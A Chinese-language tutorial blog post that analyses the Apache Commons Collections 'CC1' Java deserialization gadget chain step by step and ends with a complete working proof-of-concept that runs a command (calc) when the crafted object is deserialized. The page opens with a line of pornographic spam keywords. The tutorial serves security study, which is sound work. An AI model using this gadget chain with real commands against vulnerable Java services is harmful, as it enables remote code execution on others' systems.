国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Java反序列化漏洞-CC1利用鏈分析

這篇具有很好參考價值的文章主要介紹了Java反序列化漏洞-CC1利用鏈分析。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄
  • 一、前置知識
    • 1. 反射
    • 2. Commons Collections是什么
    • 3. 環(huán)境準(zhǔn)備
  • 二、分析利用鏈
    • 1. Transformer
    • 2. InvokeTransformer
      • 執(zhí)行命令
    • 3. ConstantTransformer
    • 4. ChainedTransformer
      • 執(zhí)行命令
    • 5. TransformedMap
    • 6. AbstractInputCheckedMapDecorator
    • 7. AnnotationInvocationHandler
  • 三、編寫POC
    • 1. ChainedTransformer
    • 2. decorate
    • 3. AnnotationInvocationHandler
    • 4. 執(zhí)行序列化和反序列化操作
  • 四、完整POC代碼
  • 五、為什么是Target.class,為什么是"value"
    • 1. 構(gòu)造方法中的判斷
    • 2. readObject中的判斷
      • var7 != null
      • var7的值
      • var5和var6的值
      • var3的值
      • 回到var7
      • 回到POC代碼
  • 六、利用鏈

一、前置知識

1. 反射

首先,Java執(zhí)行系統(tǒng)命令的語句是這樣的:

Runtime.getRuntime().exec("calc");

用反射的方法執(zhí)行Runtime.getRuntime().exec("calc")的語句是這樣的:

//獲取Runtime類對象
Class<?> clazz = Runtime.class;
//獲取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//獲取Runtime對象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//獲取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射執(zhí)行exec("calc")
execMethod.invoke(runtime, "calc");

如果上面這些反射代碼看不懂,建議補(bǔ)一下反射基礎(chǔ):

黑馬Java反射,Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一項重要新增功能。 它添加了許多強(qiáng)大的數(shù)據(jù)結(jié)構(gòu),可以加速最重要的 Java 應(yīng)用程序的開發(fā)。 從那時起,它已成為 Java 中公認(rèn)的集合處理標(biāo)準(zhǔn)。

Commons-Collections試圖通過提供新的接口、實現(xiàn)和實用程序來構(gòu)建JDK類。

像許多常見的應(yīng)用如Weblogic、WebSphere、Jboss、Jenkins等都使?了Apache Commons Collections工具庫,當(dāng)該工具庫出現(xiàn)反序列化漏洞時,這些應(yīng)用也受到了影響,這也是反序列化漏洞如此嚴(yán)重的原因。

3. 環(huán)境準(zhǔn)備

本文中漏洞復(fù)現(xiàn)環(huán)境:

  • commons-collections 3.2.1
  • jdk 1.8.0_65

在pom.xml添加commons-collections依賴

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

在項目結(jié)構(gòu)中指定JDK版本

Java反序列化漏洞-CC1利用鏈分析

二、分析利用鏈

這個鏈分析順序是從鏈的最后部分·,即執(zhí)行命令的邏輯部分開始分析,一直到反序列化的入口點結(jié)束。

1. Transformer

Transformer是一個接口,這個接口聲明了一個transform函數(shù)

Java反序列化漏洞-CC1利用鏈分析

2. InvokeTransformer

這個類的位置:org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的構(gòu)造方法和tramsform方法,這里吧一些不必要的代碼省去了

public class InvokerTransformer implements Transformer, Serializable {
    //構(gòu)造方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //實現(xiàn)Transformer接口的tramsform方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }

構(gòu)造方法:InvokerTransformer(方法名,形參列表,實參列表)

tramsform方法:

  1. 調(diào)用接收到的對象的getClass方法,獲取他的類對象
  2. 用getMethod方法獲取cls類對象的iMethodName方法
  3. 用invoke方法執(zhí)行input對象的iMethodName方法,參數(shù)是iArgs

也可以理解成tramsform就是反射執(zhí)行 input.iMethodName(iArgs)

執(zhí)行命令

用 InvokeTransformer 來彈個計算器試試

package com.zzy.ApacheCC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Blog {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

上面這段代碼相當(dāng)于執(zhí)行了這些東西:

Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

如何不直接調(diào)用transform方法,讓程序自動調(diào)用transform方法來命令執(zhí)行呢?請先看下面這幾個類。

3. ConstantTransformer

ConstantTransformer的構(gòu)造方法把傳過來的值賦給iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很沒意思的一個方法是吧。

關(guān)鍵代碼:

public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    	return iConstant;
	}
}

然后我們先看下一個類

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的構(gòu)造方法接收一個Transformer類型的數(shù)組

然后ChainedTransformer的transform方法遍歷transformers數(shù)組,依次執(zhí)行每個Tramsformr的transform方法,

給transform方法一個初始值,然后每個Tramsformr的transform方法的返回值最為下一個Tramsformr的transform方法的參數(shù)來執(zhí)行

聽起來是不是有點繞,在腦子里過幾遍,然后再實際調(diào)試一下,這樣就差不多能看懂了。

執(zhí)行命令

我們試著用ChainedTransformer結(jié)合InvokerTransformer和ConstantTransformer來自動調(diào)用InvokerTransformer的transform方法完成命令執(zhí)行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);

由于Runtime類沒有實現(xiàn)Serializable接口,無法進(jìn)行序列化,但是Class類實現(xiàn)了Serializable接口。

所以這里再改進(jìn)一下代碼,用Runtime.class命令執(zhí)行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//獲取類對象
//Runtime.class

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//獲取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke獲取Runtime對象
//it1.invoke(null, null)

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime對象執(zhí)行exec命令
//it2.exec("calc")

Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);

上面這些代碼相當(dāng)于執(zhí)行了這些操作:

Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");

成功執(zhí)行命令

Java反序列化漏洞-CC1利用鏈分析

這里可以自動調(diào)用InvokerTransformer的transform了,但是又多出來個ChainedTransformer的transform,現(xiàn)在還得解決自動調(diào)用ChainedTransformer的transform的問題。先看看下面這幾個類吧。

5. TransformedMap

類位置:org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

	public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

	protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

靜態(tài)decorate方法可以調(diào)用TransformedMap的構(gòu)造方法,返回一個TransformedMap實例。

TransformedMap的checkSetValue方法調(diào)用了transform方法,valueTransformer的值可以通過構(gòu)造方法的第三個參數(shù)獲得。

但是checkSetValue方法修飾符是protected,無法直接調(diào)用它,我們接著尋找一個可以調(diào)用checkSetValue方法的類。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父類

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的內(nèi)部類MapEntry的setValue方法調(diào)用了checkSetValue方法,但是setValue方法依然不能直接調(diào)用,接著尋找能調(diào)用setValue方法的類吧。

7. AnnotationInvocationHandler

這個類的主要作用是為注解處理器提供代理對象,以便在運行時動態(tài)地處理注解。

這個類的位置:sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

這個類的readObject方法調(diào)用了var5的setValue方法,readObject正好是反序列化的入口點,終于快結(jié)束了。

var5是怎么來的呢?

AnnotationInvocationHandler構(gòu)造方法的第三個參數(shù)var2賦給了memberValues

Java反序列化漏洞-CC1利用鏈分析

在readObject中最后賦給了var5

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

next方法位置:AbstractInputCheckedMapDecorator.EntrySetIterator#next

在這里 next()方法用于迭代原始映射中的鍵值對,并將其轉(zhuǎn)換為MapEntry類型。在這個方法中,首先通過調(diào)用迭代器的next()方法來獲取下一個元素,并將其強(qiáng)制轉(zhuǎn)換為Map.Entry類型。然后,使用獲取到的鍵值對和父對象作為參數(shù),創(chuàng)建一個新的MapEntry對象,并將其作為方法的返回值。

Java反序列化漏洞-CC1利用鏈分析

返回一個MapEntry對象,那個AnnotationInvocationHandler的var5就是MapEntry對象,最后調(diào)用了MapEntry的SetValue方法。

執(zhí)行MapEntry的SetValue方法又會調(diào)用checkSetValue方法

Java反序列化漏洞-CC1利用鏈分析

checkSetValue調(diào)用ChainedTransformer的transform方法,進(jìn)而達(dá)到命令執(zhí)行的效果

Java反序列化漏洞-CC1利用鏈分析

到此,利用鏈構(gòu)造完畢,我們將編寫完整的POC

三、編寫POC

1. ChainedTransformer

這一步無需多言,跟在ChainedTransformer那里講的一樣,最后獲得一個ChainedTransformer對象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一個HashMap對象,他的鍵(Key)的名稱為value,至于為什么是value在本文章第五節(jié)會分析

TransformedMap.decorate返回一個TransformedMap實例,

實例的valueTransformer的值就是chainedTransformer

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

3. AnnotationInvocationHandler

用反射方法新建AnnotationInvocationHandler對象,用構(gòu)造方法把上一步的TransformedMap實例傳進(jìn)來

構(gòu)造方法傳的參數(shù)為什么是 Target.class 在本文章第五節(jié)會分析

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);

4. 執(zhí)行序列化和反序列化操作

反序列化時觸發(fā)readObject,進(jìn)而觸發(fā)setValue,setValue時觸發(fā)checkSetValue,checkSetValue返回的時候執(zhí)行transform方法,最終進(jìn)行命令執(zhí)行

這里使用自己建立的序列化和反序列化方法,來模擬真實環(huán)境的反序列化。

serial(poc);
unserial();

這是序列化和反序列化的方法,不懂的話可以看 菜鳥教程 Java 序列化

public static void serial(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
    out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
    in.readObject();
}

四、完整POC代碼

package com.test.ApacheCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/
        
        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
        in.readObject();
    }
}

成功執(zhí)行命令

Java反序列化漏洞-CC1利用鏈分析

五、為什么是Target.class,為什么是"value"

1. 構(gòu)造方法中的判斷

通過構(gòu)造方法給AnnotationInvocationHandler的var1賦值為Target.class

然后把var1賦值給了this.type (記住這個變量)

把var2賦值給了this.memberValues

Java反序列化漏洞-CC1利用鏈分析

獲取var1所有的接口

Class[] var3 = var1.getInterfaces();

然后if語句里面有三個條件,滿足這三個條件才能給 memberValues 賦值,才能在readObject時觸發(fā)利用鏈

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
  • var1.isAnnotation() => 檢查var1是否是一個注解
  • var3.length == 1 => 檢查var1的接口數(shù)量是否為1
  • var3[0] == Annotation.class => 檢查這個唯一的接口是否是Annotation.class

通過調(diào)試可以看到,var3[0]即Target.class.getInterfaces()[0]的值就是Annotation類對象,即 Annotation.class

Java反序列化漏洞-CC1利用鏈分析

所以構(gòu)造方法應(yīng)該傳入一個注解類型的類對象。

2. readObject中的判斷

var7 != null

AnnotationInvocationHandler的readObject里面有一個判斷,var7不為空才繼續(xù)執(zhí)行下面的代碼

Java反序列化漏洞-CC1利用鏈分析

var7的值

var7怎么來的呢?看代碼:

var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

之前分析AnnotationInvocationHandler的時候知道

var5和var6的值

var5的值就是decorate傳進(jìn)來的那個鍵值對

Java反序列化漏洞-CC1利用鏈分析

var6的值就是var5的key,即 "value"

var7的值通過var3得到

var3的值

var3則是 AnnotationType.getInstance(this.type).memberTypes()

Target.class:

Java反序列化漏洞-CC1利用鏈分析

可以看到Target只有一個名為value的成員類型

var3 包含了Target注解中定義的所有成員類型的鍵值對,通過調(diào)試可以看到結(jié)構(gòu)是這樣的:

Java反序列化漏洞-CC1利用鏈分析

其中,鍵是成員名稱(String類型),值是成員的類型(Class類型)

回到var7

給var7賦值的代碼是

Class var7 = (Class)var3.get(var6);

根據(jù)CC利用鏈學(xué)習(xí)的解釋var3 是HashMap類型的,那么執(zhí)行的就是HashMap的get方法

根據(jù)菜鳥教程對get方法的解釋,get方法就是獲取指定key的value

Java反序列化漏洞-CC1利用鏈分析

具體到上面這段代碼就是這樣

Class var7 = (Class)var3.get("value");

也就是獲取到Target.class的value的類型,這里是ElementType

Java反序列化漏洞-CC1利用鏈分析

回到POC代碼

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

如果這里map.put傳入的 key ,在Target.class中沒有對應(yīng)的成員名稱的話,var3就找不到var6,那么var7就為null,就無法執(zhí)行下面的setValue了。

六、利用鏈

這里模仿 ysoserial 描述的利用鏈寫出CC1的TransformedMap利用鏈

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

感謝安全研究員 Innocent.. 的指導(dǎo)
參考文章和視頻
訊飛星火
java-CC鏈1分析
白日夢組長 CC1鏈?zhǔn)謱慐XP文章來源地址http://www.zghlxwxcb.cn/news/detail-760078.html

到了這里,關(guān)于Java反序列化漏洞-CC1利用鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • WebLogic反序列化漏洞復(fù)現(xiàn)+利用工具(CVE-2021-2394)

    WebLogic反序列化漏洞復(fù)現(xiàn)+利用工具(CVE-2021-2394)

    Oracle官方發(fā)布了2021年7月份安全更新通告,通告中披露了WebLogic組件存在高危漏洞,攻擊者可以在未授權(quán)的情況下通過IIOP、T3協(xié)議對存在漏洞的WebLogic Server組件進(jìn)行攻擊。成功利用該漏洞的攻擊者可以接管WebLogic Server。 這是一個二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    瀏覽(37)
  • CTF-PHP反序列化漏洞2-利用魔法函數(shù)

    CTF-PHP反序列化漏洞2-利用魔法函數(shù)

    作者:Eason_LYC 悲觀者預(yù)言失敗,十言九中。 樂觀者創(chuàng)造奇跡,一次即可。 一個人的價值,在于他所擁有的??梢圆粚W(xué)無術(shù),但不能一無所有! 技術(shù)領(lǐng)域:WEB安全、網(wǎng)絡(luò)攻防 關(guān)注WEB安全、網(wǎng)絡(luò)攻防。我的專欄文章知識點全面細(xì)致,邏輯清晰、結(jié)合實戰(zhàn),讓你在學(xué)習(xí)路上事半

    2024年02月05日
    瀏覽(23)
  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶場+工具利用

    Shiro反序列化漏洞(CVE-2016-4437)+docker靶場+工具利用

    將java對象轉(zhuǎn)換為字節(jié)序列(json/xml)的過程叫序列化,將字節(jié)序列(json/xml)恢復(fù)為java對象的過程稱為反序列化。 Shiro框架提供了“記住我”的功能,用戶登陸成功后會生成經(jīng)過加密并編碼的cookie,cookie的key為RememberMe,cookie的值是經(jīng)過序列化的,使用AES加密,再使用base64編碼

    2024年02月16日
    瀏覽(19)
  • Shiro反序列化漏洞綜合利用工具Shiro Attack使用教程

    目錄 漏洞掃描 利用鏈檢測 執(zhí)行命令 注入蟻劍內(nèi)存馬 將目標(biāo)網(wǎng)站輸入在目標(biāo)地址欄中嗎,點擊爆破密鑰,如果發(fā)現(xiàn)key,則可以利用

    2024年02月13日
    瀏覽(26)
  • XStream反序列化漏洞分析

    XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析過程做個筆記,從前期JAVA的代理模式動態(tài)代理基礎(chǔ)知識到XStream解析流程都有記錄。 代理是設(shè)計模式中的一種,代理類為委托類提供消息預(yù)處理、消息轉(zhuǎn)發(fā)、事后消息處理等功能,JAVA中代理分為三種角色:代理類、委托類、接口。 以上的定

    2024年02月13日
    瀏覽(27)
  • 關(guān)于php----phar偽協(xié)議和phar文件反序列化漏洞利用

    關(guān)于php----phar偽協(xié)議和phar文件反序列化漏洞利用

    Secarma的安全研究員Sam Thomas發(fā)現(xiàn)了php里一種新的反序列化漏洞,這種漏洞的利用可以避開傳統(tǒng)的php反序列化漏洞的查找,舊漏洞莫非尋找反序列化鏈(pop鏈),如thinkphp、Laravel的反序列化鏈的漏洞和使用phar://偽協(xié)議完成反序列化漏洞。新發(fā)現(xiàn)的漏洞通過創(chuàng)建phar文件,以及配合

    2024年02月05日
    瀏覽(22)
  • 【shiro】shiro反序列化漏洞綜合利用工具v2.2(下載、安裝、使用)

    【shiro】shiro反序列化漏洞綜合利用工具v2.2(下載、安裝、使用)

    shiro反序列化漏洞綜合利用工具v2.2下載: 鏈接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取碼:zbgp 其他工具下載: 除了該工具之外,github上還有其他大佬貢獻(xiàn)的各種工具,有許多python編寫的工具,功能簡單,可以作為理解shiro漏洞原理并編寫自己工具的教材。 說明 :

    2023年04月08日
    瀏覽(23)
  • 【精選】PHP&java 序列化和反序列化漏洞

    目錄 首先 其次 技巧和方法

    2024年01月23日
    瀏覽(21)
  • 反序列化滲透與攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何產(chǎn)生的? 1、由于很多站點或者RMI倉庫等接口處存在java的反序列化功能,于是攻擊者可以通過構(gòu)造特定的惡意對象序列化后的流,讓目標(biāo)反序列化,從而達(dá)到自己的惡意預(yù)期行為,包括命令執(zhí)行,甚至 getshell 等等。 2、Apache Commons Collections是開源小

    2023年04月17日
    瀏覽(24)
  • 【新】通達(dá)OA前臺反序列化漏洞分析

    0x01 前言 注:本文僅以安全研究為目的,分享對該漏洞的挖掘過程,文中涉及的所有漏洞均已報送給國家單位,請勿用做非法用途。 通達(dá)OA作為歷史上出現(xiàn)漏洞較多的OA,在經(jīng)過多輪的迭代之后已經(jīng)很少前臺的RCE漏洞了。一般來說通達(dá)OA是通過auth.inc.php文件來進(jìn)行鑒權(quán),如圖

    2024年02月14日
    瀏覽(24)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包